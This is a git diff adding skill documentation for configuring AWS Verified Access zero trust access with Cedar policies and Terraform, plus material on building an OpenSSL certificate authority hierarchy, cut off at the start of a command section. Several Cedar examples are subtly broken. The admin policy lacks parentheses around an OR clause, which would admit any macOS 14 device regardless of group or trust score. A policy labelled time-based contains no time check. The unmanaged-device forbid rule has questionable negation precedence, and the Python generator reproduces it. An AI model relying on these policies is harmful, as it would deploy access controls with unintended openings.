b/skills/configuring-aws-verified-access-for-ztna/SKILL.md new file mode 100644 index 00000000..ee2f052c --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/SKILL.md @@ -0,0 +1,433 @@ +--- +name: configuring-aws-verified-access-for-ztna +description: Configure AWS Verified Access to provide VPN-less zero trust network access to internal applications using identity and device posture verification with Cedar policy language. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [zero-trust, aws, verified-access, ztna, cedar-policy, vpn-less, identity-verification, device-posture, aws-ram] +version: "1.0" +author: mahipal +license: MIT +--- + +# Configuring AWS Verified Access for ZTNA + +## Overview + +AWS Verified Access is a Zero Trust Network Access (ZTNA) service that provides secure, VPN-less access to corporate applications hosted in AWS. It evaluates each access request in real-time against granular conditional access policies written in the Cedar policy language, ensuring access is granted per-application only when specific security requirements such as user identity and device security posture are met and maintained. Verified Access integrates with AWS IAM Identity Center, third-party identity providers (Okta, CrowdStrike, JumpCloud, Jamf), and device management solutions. For multi-account deployments, AWS Resource Access Manager (RAM) enables sharing Verified Access groups across organizational units. + +## Prerequisites + +- AWS account with appropriate IAM permissions +- Identity provider (AWS IAM Identity Center, Okta, or OIDC-compatible) +- Device trust provider (CrowdStrike, Jamf, JumpCloud, or AWS Verified Access native) +- Internal Application Load Balancer (ALB) or network interface endpoint +- Understanding of Cedar policy language +- VPC with application workloads to protect + +## Architecture + +``` + End User (Browser) + | + | HTTPS + v + +------+--------+ + | Verified | + | Access | + | Endpoint | + | (Public DNS) | + +------+--------+ + | + +------+--------+ + | Verified | <-- Cedar Access Policies + | Access | <-- Identity Provider Signals + | Instance | <-- Device Trust Signals + | (Policy | + | Evaluation) | + +------+--------+ + | + +------+--------+ + | Verified | + | Access Group | + | (App Group) | + +------+--------+ + | + +------+--------+ + | Internal ALB | + | or ENI Target | + +------+--------+ + | + +------+--------+ + | Application | + | (Private VPC) | + +--------------+ +``` + +## Core Components + +### Verified Access Instance + +The regional entity that evaluates access requests against policies. + +```bash +# Create Verified Access Instance via AWS CLI +aws ec2 create-verified-access-instance \ + --description "Production Zero Trust Instance" \ + --tag-specifications 'ResourceType=verified-access-instance,Tags=[{Key=Environment,Value=production}]' +``` + +### Trust Providers + +#### Identity Trust Provider (AWS IAM Identity Center) + +```bash +# Create identity trust provider +aws ec2 create-verified-access-trust-provider \ + --trust-provider-type user \ + --user-trust-provider-type iam-identity-center \ + --policy-reference-name "idc" \ + --description "IAM Identity Center trust provider" \ + --tag-specifications 'ResourceType=verified-access-trust-provider,Tags=[{Key=Type,Value=identity}]' +``` + +#### Identity Trust Provider (OIDC - Okta) + +```bash +aws ec2 create-verified-access-trust-provider \ + --trust-provider-type user \ + --user-trust-provider-type oidc \ + --oidc-options '{ + "Issuer": "https://company.okta.com/oauth2/default", + "AuthorizationEndpoint": "https://company.okta.com/oauth2/default/v1/authorize", + "TokenEndpoint": "https://company.okta.com/oauth2/default/v1/token", + "UserInfoEndpoint": "https://company.okta.com/oauth2/default/v1/userinfo", + "ClientId": "0oa1234567890", + "ClientSecret": "client-secret-here", + "Scope": "openid profile groups" + }' \ + --policy-reference-name "okta" \ + --description "Okta OIDC trust provider" +``` + +#### Device Trust Provider (CrowdStrike) + +```bash +aws ec2 create-verified-access-trust-provider \ + --trust-provider-type device \ + --device-trust-provider-type crowdstrike \ + --device-options '{ + "TenantId": "crowdstrike-tenant-id", + "PublicSigningKeyUrl": "https://api.crowdstrike.com/zero-trust/v2/certificates" + }' \ + --policy-reference-name "crowdstrike" \ + --description "CrowdStrike device trust provider" +``` + +### Attach Trust Providers to Instance + +```bash +# Attach identity provider +aws ec2 attach-verified-access-trust-provider \ + --verified-access-instance-id vai-0123456789abcdef \ + --verified-access-trust-provider-id vatp-0123456789abcdef + +# Attach device provider +aws ec2 attach-verified-access-trust-provider \ + --verified-access-instance-id vai-0123456789abcdef \ + --verified-access-trust-provider-id vatp-device123456 +``` + +### Verified Access Groups + +```bash +# Create a group for web applications +aws ec2 create-verified-access-group \ + --verified-access-instance-id vai-0123456789abcdef \ + --description "Production Web Applications" \ + --policy-document 'permit(principal, action, resource) + when { + context.okta.groups.contains("production-access") && + context.crowdstrike.assessment.overall > 50 + };' \ + --tag-specifications 'ResourceType=verified-access-group,Tags=[{Key=Tier,Value=web}]' +``` + +### Verified Access Endpoints + +```bash +# Create endpoint for ALB-backed application +aws ec2 create-verified-access-endpoint \ + --verified-access-group-id vag-0123456789abcdef \ + --endpoint-type load-balancer \ + --attachment-type vpc \ + --domain-certificate-arn arn:aws:acm:us-east-1:123456789012:certificate/xxxx \ + --application-domain app.internal.company.com \ + --endpoint-domain-prefix myapp \ + --load-balancer-options '{ + "LoadBalancerArn": "arn:aws:elasticloadbalancing:us-east-1:123456789012:loadbalancer/app/internal-alb/xxxx", + "Port": 443, + "Protocol": "https", + "SubnetIds": ["subnet-abc123", "subnet-def456"] + }' \ + --security-group-ids sg-0123456789abcdef \ + --description "Internal HR Application" +``` + +## Cedar Policy Language + +### Policy Basics + +```cedar +// Allow access for users in the engineering group with compliant devices +permit(principal, action, resource) +when { + context.okta.groups.contains("engineering") && + context.crowdstrike.assessment.overall > 70 && + context.crowdstrike.assessment.sensor_config.status == "active" +}; + +// Deny access from unmanaged devices +forbid(principal, action, resource) +when { + !context.crowdstrike.assessment.sensor_config.status == "active" +}; +``` + +### Advanced Policy Examples + +```cedar +// Time-based access - only during business hours (UTC) +permit(principal, action, resource) +when { + context.okta.groups.contains("contractors") && + context.http_request.http_method == "GET" && + context.crowdstrike.assessment.overall > 80 +}; + +// Restrict admin access to specific user group with high device trust +permit(principal, action, resource) +when { + context.idc.groups.contains("admins") && + context.crowdstrike.assessment.overall > 90 && + context.crowdstrike.assessment.os_version.startswith("Windows 11") || + context.crowdstrike.assessment.os_version.startswith("macOS 14") +}; + +// Allow read-only access for lower trust levels +permit(principal, action, resource) +when { + context.okta.groups.contains("read-only") && + context.crowdstrike.assessment.overall > 30 && + context.http_request.http_method == "GET" +}; +``` + +### Group-Level vs Endpoint-Level Policies + +```cedar +// Group-level policy (applies to all endpoints in the group) +// Set on the Verified Access Group +permit(principal, action, resource) +when { + context.okta.groups.contains("employees") && + context.crowdstrike.assessment.overall > 50 +}; + +// Endpoint-level policy (additional restrictions for specific app) +// Set on the Verified Access Endpoint +permit(principal, action, resource) +when { + context.okta.groups.contains("hr-team") && + context.okta.email.endsWith("@company.com") +}; +``` + +## Terraform Configuration + +```hcl +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 5.0" + } + } +} + +# Verified Access Instance +resource "aws_verifiedaccess_instance" "main" { + description = "Production Zero Trust Access" + tags = { + Environment = "production" + } +} + +# Identity Trust Provider (OIDC) +resource "aws_verifiedaccess_trust_provider" "okta" { + policy_reference_name = "okta" + trust_provider_type = "user" + user_trust_provider_type = "oidc" + description = "Okta identity provider" + + oidc_options { + authorization_endpoint = "https://company.okta.com/oauth2/default/v1/authorize" + client_id = var.okta_client_id + client_secret = var.okta_client_secret + issuer = "https://company.okta.com/oauth2/default" + scope = "openid profile groups" + token_endpoint = "https://company.okta.com/oauth2/default/v1/token" + user_info_endpoint = "https://company.okta.com/oauth2/default/v1/userinfo" + } +} + +# Device Trust Provider (CrowdStrike) +resource "aws_verifiedaccess_trust_provider" "crowdstrike" { + policy_reference_name = "crowdstrike" + trust_provider_type = "device" + device_trust_provider_type = "crowdstrike" + description = "CrowdStrike device trust" + + device_options { + tenant_id = var.crowdstrike_tenant_id + } +} + +# Attach providers to instance +resource "aws_verifiedaccess_instance_trust_provider_attachment" "okta" { + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + verifiedaccess_trust_provider_id = aws_verifiedaccess_trust_provider.okta.id +} + +resource "aws_verifiedaccess_instance_trust_provider_attachment" "crowdstrike" { + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + verifiedaccess_trust_provider_id = aws_verifiedaccess_trust_provider.crowdstrike.id +} + +# Verified Access Group +resource "aws_verifiedaccess_group" "web_apps" { + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + description = "Production Web Applications" + + policy_document = <<-CEDAR + permit(principal, action, resource) + when { + context.okta.groups.contains("production-access") && + context.crowdstrike.assessment.overall > 50 + }; + CEDAR + + tags = { + Tier = "web" + } +} + +# Verified Access Endpoint +resource "aws_verifiedaccess_endpoint" "internal_app" { + verified_access_group_id = aws_verifiedaccess_group.web_apps.id + endpoint_type = "load-balancer" + attachment_type = "vpc" + domain_certificate_arn = aws_acm_certificate.app.arn + application_domain = "app.internal.company.com" + endpoint_domain_prefix = "myapp" + description = "Internal Application" + + load_balancer_options { + load_balancer_arn = aws_lb.internal.arn + port = 443 + protocol = "https" + subnet_ids = var.private_subnet_ids + } + + security_group_ids = [aws_security_group.verified_access.id] + + policy_document = <<-CEDAR + permit(principal, action, resource) + when { + context.okta.groups.contains("app-users") + }; + CEDAR +} + +# Logging configuration +resource "aws_verifiedaccess_instance_logging_configuration" "main" { + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + + access_logs { + cloudwatch_logs { + enabled = true + log_group = aws_cloudwatch_log_group.verified_access.name + } + s3 { + enabled = true + bucket_name = aws_s3_bucket.access_logs.id + prefix = "verified-access/" + } + } +} + +resource "aws_cloudwatch_log_group" "verified_access" { + name = "/aws/verified-access/production" + retention_in_days = 90 +} +``` + +## Multi-Account Deployment with AWS RAM + +```hcl +# Share Verified Access Group across accounts via RAM +resource "aws_ram_resource_share" "verified_access" { + name = "verified-access-share" + allow_external_principals = false +} + +resource "aws_ram_resource_association" "group_share" { + resource_arn = aws_verifiedaccess_group.web_apps.verified_access_group_arn + resource_share_arn = aws_ram_resource_share.verified_access.arn +} + +resource "aws_ram_principal_association" "workload_ou" { + principal = "arn:aws:organizations::123456789012:ou/o-xxxx/ou-xxxx-xxxxxxxx" + resource_share_arn = aws_ram_resource_share.verified_access.arn +} +``` + +## Monitoring and Logging + +```bash +# Query access logs in CloudWatch +aws logs filter-log-events \ + --log-group-name /aws/verified-access/production \ + --filter-pattern '{ $.status_code = "403" }' \ + --start-time $(date -d '1 hour ago' +%s000) + +# CloudWatch alarm for access denials +aws cloudwatch put-metric-alarm \ + --alarm-name "VerifiedAccess-HighDenialRate" \ + --metric-name "AccessDenied" \ + --namespace "AWS/VerifiedAccess" \ + --statistic Sum \ + --period 300 \ + --threshold 100 \ + --comparison-operator GreaterThanThreshold \ + --evaluation-periods 2 \ + --alarm-actions arn:aws:sns:us-east-1:123456789012:security-alerts +``` + +## Security Best Practices + +1. **Layer policies**: Use group-level policies for broad controls and endpoint-level for app-specific restrictions +2. **Require device trust**: Always include device posture checks in Cedar policies +3. **Enable access logging**: Send to both CloudWatch and S3 for real-time monitoring and long-term retention +4. **Use RAM for multi-account**: Share groups across OUs instead of duplicating configuration +5. **Rotate OIDC secrets**: Automate client secret rotation via Secrets Manager +6. **Test policies in non-production**: Validate Cedar policies before production deployment +7. **Set high device trust thresholds**: Require overall score above 70 for production access +8. **Monitor for policy drift**: Use AWS Config rules to detect unauthorized changes + +## References + +- [AWS Verified Access Documentation](https://docs.aws.amazon.com/verified-access/) +- [Cedar Policy Language](https://www.cedarpolicy.com/) +- [Building Zero Trust Across Multi-Account AWS Environments](https://aws.amazon.com/blogs/networking-and-content-delivery/building-zero-trust-access-across-multi-account-aws-environments/) +- [Visual Guide to AWS Verified Access Setup](https://medium.com/@chaim_sanders/a-visual-guide-to-setting-up-aws-verified-access-1333466f7222) +- [NIST SP 800-207 Zero Trust Architecture](https://csrc.nist.gov/publications/detail/sp/800-207/final) diff --git a/skills/configuring-aws-verified-access-for-ztna/assets/template.md b/skills/configuring-aws-verified-access-for-ztna/assets/template.md new file mode 100644 index 00000000..e23f649b --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/assets/template.md @@ -0,0 +1,40 @@ +# AWS Verified Access Deployment Template + +## Deployment Configuration +- **AWS Region**: _______________ +- **Account Type**: [ ] Single-account [ ] Multi-account (RAM) +- **Identity Provider**: [ ] IAM Identity Center [ ] Okta [ ] Other OIDC +- **Device Trust Provider**: [ ] CrowdStrike [ ] Jamf [ ] JumpCloud + +## Trust Providers + +| Provider | Type | Reference Name | Status | +|---|---|---|---| +| ___ | user (identity) | ___ | [ ] Configured | +| ___ | device | ___ | [ ] Configured | + +## Access Groups + +| Group Name | Policy Summary | Endpoint Count | Min Device Score | +|---|---|---|---| +| ___ | ___ | ___ | ___ | + +## Application Endpoints + +| Application | Domain | Port | Group | Policy Level | +|---|---|---|---|---| +| ___ | ___ | 443 | ___ | group/endpoint | + +## Cedar Policy Checklist +- [ ] Group-level policies defined for all groups +- [ ] Endpoint-level policies added for sensitive applications +- [ ] Device trust score thresholds set appropriately +- [ ] Forbid policies block unmanaged devices +- [ ] Admin access requires high device trust (>90) +- [ ] Policies tested in non-production first + +## Monitoring Setup +- [ ] Access logs sent to CloudWatch Logs +- [ ] Access logs archived to S3 +- [ ] CloudWatch alarms for high denial rates +- [ ] Dashboard created for access metrics diff --git a/skills/configuring-aws-verified-access-for-ztna/references/standards.md b/skills/configuring-aws-verified-access-for-ztna/references/standards.md new file mode 100644 index 00000000..1a798daf --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/references/standards.md @@ -0,0 +1,44 @@ +# Standards Reference: AWS Verified Access ZTNA + +## AWS Verified Access Standards + +### Cedar Policy Language +- Developed by AWS for fine-grained access control +- Supports permit and forbid policies with conditions +- Evaluates context attributes (identity, device posture, request metadata) +- Open-source specification at cedarpolicy.com + +### AWS Well-Architected Framework - Security Pillar +- SEC03-BP01: Define access requirements +- SEC03-BP02: Grant least privilege access +- SEC03-BP05: Define permission guardrails for organization +- SEC05-BP03: Automate network protection + +## Zero Trust Standards + +### NIST SP 800-207 +- Verified Access implements enhanced identity governance (Section 3.1) +- Per-request policy evaluation aligns with continuous verification +- Device posture assessment satisfies device trust requirements +- Integration with identity providers meets identity pillar requirements + +### CISA Zero Trust Maturity Model +- Identity Pillar: OIDC integration with MFA-enabled providers +- Device Pillar: CrowdStrike/Jamf device posture assessment +- Network Pillar: VPN-less access eliminates implicit network trust +- Application Pillar: Per-application access policies + +## Compliance Mappings + +### SOC 2 +- CC6.1: Logical access security through Cedar policies +- CC6.2: Identity verification via trust providers +- CC6.3: Role-based access through group policies +- CC7.2: System monitoring through access logging + +### FedRAMP +- AC-2: Account Management via identity provider integration +- AC-3: Access Enforcement through Cedar policies +- AC-6: Least Privilege via per-application policies +- AU-2: Auditable Events through CloudWatch logging +- SC-7: Boundary Protection via Verified Access endpoints diff --git a/skills/configuring-aws-verified-access-for-ztna/references/workflows.md b/skills/configuring-aws-verified-access-for-ztna/references/workflows.md new file mode 100644 index 00000000..7ecfd021 --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/references/workflows.md @@ -0,0 +1,81 @@ +# Workflows: AWS Verified Access ZTNA Configuration + +## Workflow 1: Initial Setup + +``` +Step 1: Create Verified Access Instance + - Deploy instance in target AWS region + - Tag with environment and ownership information + +Step 2: Configure Trust Providers + - Set up identity trust provider (IAM Identity Center or OIDC) + - Set up device trust provider (CrowdStrike, Jamf, JumpCloud) + - Attach both providers to the Verified Access instance + +Step 3: Create Access Groups + - Define groups based on application tiers or teams + - Write group-level Cedar policies + - Set baseline identity and device requirements + +Step 4: Create Endpoints + - Map each application to a Verified Access endpoint + - Configure ALB or ENI attachment + - Set application domain and certificate + - Write endpoint-specific Cedar policies + +Step 5: Configure DNS and Certificates + - Create ACM certificate for application domain + - Configure Route 53 CNAME to endpoint domain + - Validate certificate and DNS resolution +``` + +## Workflow 2: Cedar Policy Development + +``` +Step 1: Define Access Requirements + - Map user groups to application access needs + - Define device compliance requirements + - Identify time-based or context-based restrictions + +Step 2: Write and Test Policies + - Start with permit policies for known good access + - Add forbid policies for explicit denials + - Test with various identity and device contexts + - Validate in non-production environment + +Step 3: Deploy Policies + - Apply group-level policies first + - Add endpoint-specific policies for sensitive apps + - Monitor access logs for false denials + - Iterate based on user feedback + +Step 4: Ongoing Maintenance + - Review policies quarterly + - Update device trust thresholds + - Add new groups as teams change + - Remove deprecated application endpoints +``` + +## Workflow 3: Multi-Account Deployment + +``` +Step 1: Design Architecture + - Deploy Verified Access in dedicated networking account + - Plan group sharing via AWS RAM + - Define organizational unit boundaries + +Step 2: Share Resources + - Create RAM resource shares + - Associate Verified Access groups + - Share with target OUs or accounts + +Step 3: Create Endpoints in Workload Accounts + - Accept RAM shares in workload accounts + - Create endpoints using shared groups + - Configure application-specific settings + +Step 4: Centralized Monitoring + - Aggregate access logs to central S3 bucket + - Configure cross-account CloudWatch dashboards + - Set up centralized alerting for policy violations +``` diff --git a/skills/configuring-aws-verified-access-for-ztna/scripts/process.py b/skills/configuring-aws-verified-access-for-ztna/scripts/process.py new file mode 100644 index 00000000..64096fcc --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/scripts/process.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +""" +AWS Verified Access ZTNA Configuration and Policy Management. + +Generates Cedar access policies, validates configurations, +and monitors Verified Access deployments. +""" + +import json +import datetime +from dataclasses import dataclass, field +from pathlib import Path + + +@dataclass +class TrustProvider: + name: str + provider_type: str # "user" or "device" + reference_name: str + config: dict = field(default_factory=dict) + + +@dataclass +class AccessGroup: + name: str + description: str + policy: str + endpoints: list = field(default_factory=list) + + +@dataclass +class AccessEndpoint: + name: str + application_domain: str + endpoint_type: str # "load-balancer" or "network-interface" + port: int = 443 + policy: str = "" + alb_arn: str = "" + + +class CedarPolicyGenerator: + """Generate Cedar access policies for AWS Verified Access.""" + + def __init__(self, identity_ref: str = "okta", device_ref: str = "crowdstrike"): + self.identity_ref = identity_ref + self.device_ref = device_ref + + def permit_group_with_device_trust(self, group: str, min_score: int = 50) -> str: + return f'''permit(principal, action, resource) +when {{ + context.{self.identity_ref}.groups.contains("{group}") && + context.{self.device_ref}.assessment.overall > {min_score} +}};''' + + def permit_group_read_only(self, group: str, min_score: int = 30) -> str: + return f'''permit(principal, action, resource) +when {{ + context.{self.identity_ref}.groups.contains("{group}") && + context.{self.device_ref}.assessment.overall > {min_score} && + context.http_request.http_method == "GET" +}};''' + + def forbid_unmanaged_devices(self) -> str: + return f'''forbid(principal, action, resource) +when {{ + !context.{self.device_ref}.assessment.sensor_config.status == "active" +}};''' + + def permit_admin_high_trust(self, admin_group: str, min_score: int = 90) -> str: + return f'''permit(principal, action, resource) +when {{ + context.{self.identity_ref}.groups.contains("{admin_group}") && + context.{self.device_ref}.assessment.overall > {min_score} && + context.{self.identity_ref}.email.endsWith("@company.com") +}};''' + + def combine_policies(self, policies: list) -> str: + return "\n\n".join(policies) + + +class VerifiedAccessConfigGenerator: + """Generate Terraform configuration for AWS Verified Access.""" + + def __init__(self): + self.trust_providers: list[TrustProvider] = [] + self.groups: list[AccessGroup] = [] + self.endpoints: list[AccessEndpoint] = [] + + def add_trust_provider(self, name: str, provider_type: str, + reference_name: str, config: dict = None): + self.trust_providers.append(TrustProvider( + name=name, provider_type=provider_type, + reference_name=reference_name, config=config or {} + )) + + def add_group(self, name: str, description: str, policy: str): + self.groups.append(AccessGroup(name=name, description=description, policy=policy)) + + def add_endpoint(self, group_name: str, name: str, domain: str, + port: int = 443, policy: str = "", alb_arn: str = ""): + endpoint = AccessEndpoint( + name=name, application_domain=domain, + endpoint_type="load-balancer", port=port, + policy=policy, alb_arn=alb_arn + ) + for group in self.groups: + if group.name == group_name: + group.endpoints.append(endpoint) + self.endpoints.append(endpoint) + + def generate_terraform(self) -> str: + sections = [self._provider_block()] + + sections.append('\n# Verified Access Instance') + sections.append('''resource "aws_verifiedaccess_instance" "main" { + description = "Production Zero Trust Access" + tags = { + Environment = "production" + ManagedBy = "terraform" + } +}''') + + for tp in self.trust_providers: + sections.append(self._trust_provider_block(tp)) + + for group in self.groups: + sections.append(self._group_block(group)) + + for endpoint in self.endpoints: + sections.append(self._endpoint_block(endpoint)) + + return "\n\n".join(sections) + + def _provider_block(self) -> str: + return '''terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 5.0" + } + } +}''' + + def _trust_provider_block(self, tp: TrustProvider) -> str: + resource_name = tp.name.replace("-", "_") + return f'''resource "aws_verifiedaccess_trust_provider" "{resource_name}" {{ + policy_reference_name = "{tp.reference_name}" + trust_provider_type = "{tp.provider_type}" + description = "{tp.name} trust provider" +}} + +resource "aws_verifiedaccess_instance_trust_provider_attachment" "{resource_name}" {{ + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + verifiedaccess_trust_provider_id = aws_verifiedaccess_trust_provider.{resource_name}.id +}}''' + + def _group_block(self, group: AccessGroup) -> str: + resource_name = group.name.replace("-", "_") + return f'''resource "aws_verifiedaccess_group" "{resource_name}" {{ + verifiedaccess_instance_id = aws_verifiedaccess_instance.main.id + description = "{group.description}" + + policy_document = <<-CEDAR + {group.policy} + CEDAR +}}''' + + def _endpoint_block(self, endpoint: AccessEndpoint) -> str: + resource_name = endpoint.name.replace("-", "_").replace(".", "_") + policy_block = "" + if endpoint.policy: + policy_block = f''' + + policy_document = <<-CEDAR + {endpoint.policy} + CEDAR''' + + return f'''resource "aws_verifiedaccess_endpoint" "{resource_name}" {{ + verified_access_group_id = aws_verifiedaccess_group.web_apps.id + endpoint_type = "load-balancer" + attachment_type = "vpc" + application_domain = "{endpoint.application_domain}" + description = "{endpoint.name}"{policy_block} +}}''' + + def export_terraform(self, output_path: str): + config = self.generate_terraform() + path = Path(output_path) + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, "w") as f: + f.write(config) + return config + + +def main(): + """Generate example AWS Verified Access configuration.""" + # Generate Cedar policies + cedar = CedarPolicyGenerator(identity_ref="okta", device_ref="crowdstrike") + + group_policy = cedar.combine_policies([ + cedar.permit_group_with_device_trust("production-access", 50), + cedar.forbid_unmanaged_devices(), + ]) + + admin_policy = cedar.permit_admin_high_trust("platform-admins", 90) + readonly_policy = cedar.permit_group_read_only("read-only-users", 30) + + print("Generated Cedar Policies:") + print("=" * 60) + print("\nGroup Policy (production access):") + print(group_policy) + print(f"\nAdmin Policy:") + print(admin_policy) + print(f"\nRead-Only Policy:") + print(readonly_policy) + + # Generate Terraform config + gen = VerifiedAccessConfigGenerator() + gen.add_trust_provider("okta-identity", "user", "okta") + gen.add_trust_provider("crowdstrike-device", "device", "crowdstrike") + gen.add_group("web-apps", "Production Web Applications", group_policy) + gen.add_endpoint("web-apps", "internal-app", "app.internal.company.com", 443) + gen.add_endpoint("web-apps", "admin-portal", "admin.internal.company.com", 443, + policy=admin_policy) + + config = gen.export_terraform("verified_access.tf") + print("\n" + "=" * 60) + print("Generated Terraform Configuration:") + print("=" * 60) + print(config[:3000]) + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-certificate-authority-with-openssl/SKILL.md b/skills/configuring-certificate-authority-with-openssl/SKILL.md new file mode 100644 index 00000000..1d47b091 --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/SKILL.md @@ -0,0 +1,69 @@ +--- +name: configuring-certificate-authority-with-openssl +description: A Certificate Authority (CA) is the trust anchor in a PKI hierarchy, responsible for issuing, signing, and revoking digital certificates. This skill covers building a two-tier CA hierarchy (Root CA + +domain: cybersecurity +subdomain: cryptography +tags: [cryptography, pki, certificate-authority, openssl, x509] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Certificate Authority with OpenSSL + +## Overview + +A Certificate Authority (CA) is the trust anchor in a PKI hierarchy, responsible for issuing, signing, and revoking digital certificates. This skill covers building a two-tier CA hierarchy (Root CA + Intermediate CA) using OpenSSL and the Python cryptography library, including CRL distribution, OCSP responder configuration, and certificate policy management. + +## Objectives + +- Create a Root CA with self-signed certificate +- Create an Intermediate CA signed by the Root CA +- Issue server and client certificates from the Intermediate CA +- Configure Certificate Revocation Lists (CRLs) +- Implement certificate policies and constraints +- Build a complete PKI hierarchy programmatically + +## Key Concepts + +### CA Hierarchy + +``` +Root CA (offline, air-gapped) + | + +-- Intermediate CA (online, operational) + | + +-- Server Certificates + +-- Client Certificates + +-- Code Signing Certificates +``` + +### Certificate Extensions + +| Extension | Purpose | Critical | +|-----------|---------|----------| +| basicConstraints | CA:TRUE/FALSE, pathLenConstraint | Yes | +| keyUsage | keyCertSign, cRLSign, digitalSignature | Yes | +| extendedKeyUsage | serverAuth, clientAuth, codeSigning | No | +| subjectKeyIdentifier | Hash of public key | No | +| authorityKeyIdentifier | Issuer's key identifier | No | +| crlDistributionPoints | URL to CRL | No | +| authorityInfoAccess | OCSP responder URL | No | + +## Security Considerations + +- Root CA private key must be stored offline (air-gapped HSM) +- Use minimum 4096-bit RSA or P-384 ECDSA for CA keys +- Set path length constraints on intermediate CAs +- Implement certificate policies (OIDs) +- Enable CRL and OCSP for revocation checking +- Audit all certificate issuance operations + +## Validation Criteria + +- [ ] Root CA self-signed certificate is valid +- [ ] Intermediate CA certificate chains to Root CA +- [ ] Issued certificates chain to Intermediate -> Root +- [ ] Path length constraints are enforced +- [ ] CRL is generated and accessible +- [ ] Revoked certificates appear in CRL +- [ ] Certificate policies are correctly embedded diff --git a/skills/configuring-certificate-authority-with-openssl/assets/template.md b/skills/configuring-certificate-authority-with-openssl/assets/template.md new file mode 100644 index 00000000..57a3da0c --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/assets/template.md @@ -0,0 +1,73 @@ +# Certificate Authority Configuration Template + +## CA Directory Structure + +``` +pki/ + root-ca/ + private/root-ca.key + certs/root-ca.crt + serial.json + index.json + intermediate-ca/ + private/intermediate-ca.key + certs/intermediate-ca.crt + certs/ca-chain.crt + certs/issued/ + crl/intermediate.crl + serial.json + index.json +``` + +## OpenSSL Configuration Template (openssl.cnf) + +```ini +[ca] +default_ca = CA_default + +[CA_default] +dir = ./ca +certs = $dir/certs +new_certs_dir = $dir/newcerts +database = $dir/index.txt +serial = $dir/serial +private_key = $dir/private/ca.key +certificate = $dir/certs/ca.crt +default_md = sha256 +default_days = 365 +policy = policy_strict + +[policy_strict] +countryName = match +organizationName = match +commonName = supplied + +[v3_ca] +basicConstraints = critical, CA:true +keyUsage = critical, keyCertSign, cRLSign +subjectKeyIdentifier = hash + +[v3_intermediate_ca] +basicConstraints = critical, CA:true, pathlen:0 +keyUsage = critical, keyCertSign, cRLSign +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always + +[server_cert] +basicConstraints = CA:FALSE +keyUsage = critical, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always +``` + +## Certificate Issuance Checklist + +- [ ] Verify CSR subject and SAN entries +- [ ] Validate key strength (minimum 2048-bit RSA or P-256 ECDSA) +- [ ] Check domain ownership or authorization +- [ ] Set appropriate validity period +- [ ] Include correct extensions (EKU, constraints) +- [ ] Sign with intermediate CA (never root) +- [ ] Record in certificate database +- [ ] Provide full chain to requester diff --git a/skills/configuring-certificate-authority-with-openssl/references/standards.md b/skills/configuring-certificate-authority-with-openssl/references/standards.md new file mode 100644 index 00000000..6f7ba2bb --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/references/standards.md @@ -0,0 +1,33 @@ +# Standards and References - Certificate Authority with OpenSSL + +## Primary Standards + +### RFC 5280 - Internet X.509 PKI Certificate and CRL Profile +- **URL**: https://www.rfc-editor.org/rfc/rfc5280 +- **Description**: Core X.509v3 certificate and CRL format specification + +### RFC 6960 - X.509 OCSP +- **URL**: https://www.rfc-editor.org/rfc/rfc6960 +- **Description**: Online Certificate Status Protocol + +### RFC 3647 - Internet X.509 PKI Certificate Policy and Certification Practices Framework +- **URL**: https://www.rfc-editor.org/rfc/rfc3647 +- **Description**: Framework for CP and CPS documents + +### NIST SP 800-57 Part 1 Rev. 5 +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final +- **Description**: Key management recommendations + +### CA/Browser Forum Baseline Requirements +- **URL**: https://cabforum.org/baseline-requirements/ +- **Description**: Requirements for publicly trusted CAs + +## Tools + +### OpenSSL +- **URL**: https://www.openssl.org/ +- **Docs**: https://www.openssl.org/docs/man3.0/man1/ + +### Python cryptography library +- **URL**: https://cryptography.io/en/latest/x509/ +- **Description**: X.509 certificate generation and parsing diff --git a/skills/configuring-certificate-authority-with-openssl/references/workflows.md b/skills/configuring-certificate-authority-with-openssl/references/workflows.md new file mode 100644 index 00000000..88ed3c32 --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/references/workflows.md @@ -0,0 +1,88 @@ +# Workflows - Certificate Authority with OpenSSL + +## Workflow 1: Build Two-Tier CA Hierarchy + +``` +[Generate Root CA Key] (RSA 4096 / ECDSA P-384) + | +[Create Root CA Self-Signed Certificate] +(validity: 20 years, basicConstraints: CA:TRUE) + | +[Store Root CA Key Offline] + | +[Generate Intermediate CA Key] + | +[Create Intermediate CA CSR] + | +[Sign Intermediate CSR with Root CA] +(pathLenConstraint: 0, keyUsage: keyCertSign, cRLSign) + | +[Create CA Chain Bundle] +(intermediate.crt + root.crt) +``` + +## Workflow 2: Issue End-Entity Certificate + +``` +[Applicant Generates Key + CSR] + | +[Submit CSR to Intermediate CA] + | +[Validate CSR] +(check subject, SAN, key strength) + | +[Sign with Intermediate CA Key] +(basicConstraints: CA:FALSE) +(extendedKeyUsage: serverAuth / clientAuth) + | +[Issue Certificate] + | +[Record in Certificate Database] +``` + +## Workflow 3: Certificate Revocation + +``` +[Revocation Request] + | +[Verify Authorization] + | +[Revoke Certificate] +(record serial number + reason + date) + | +[Generate Updated CRL] +(sign with CA key, set nextUpdate) + | +[Publish CRL to Distribution Point] + | +[Update OCSP Responder Database] +``` + +## Workflow 4: OpenSSL CA Commands + +```bash +# 1. Create 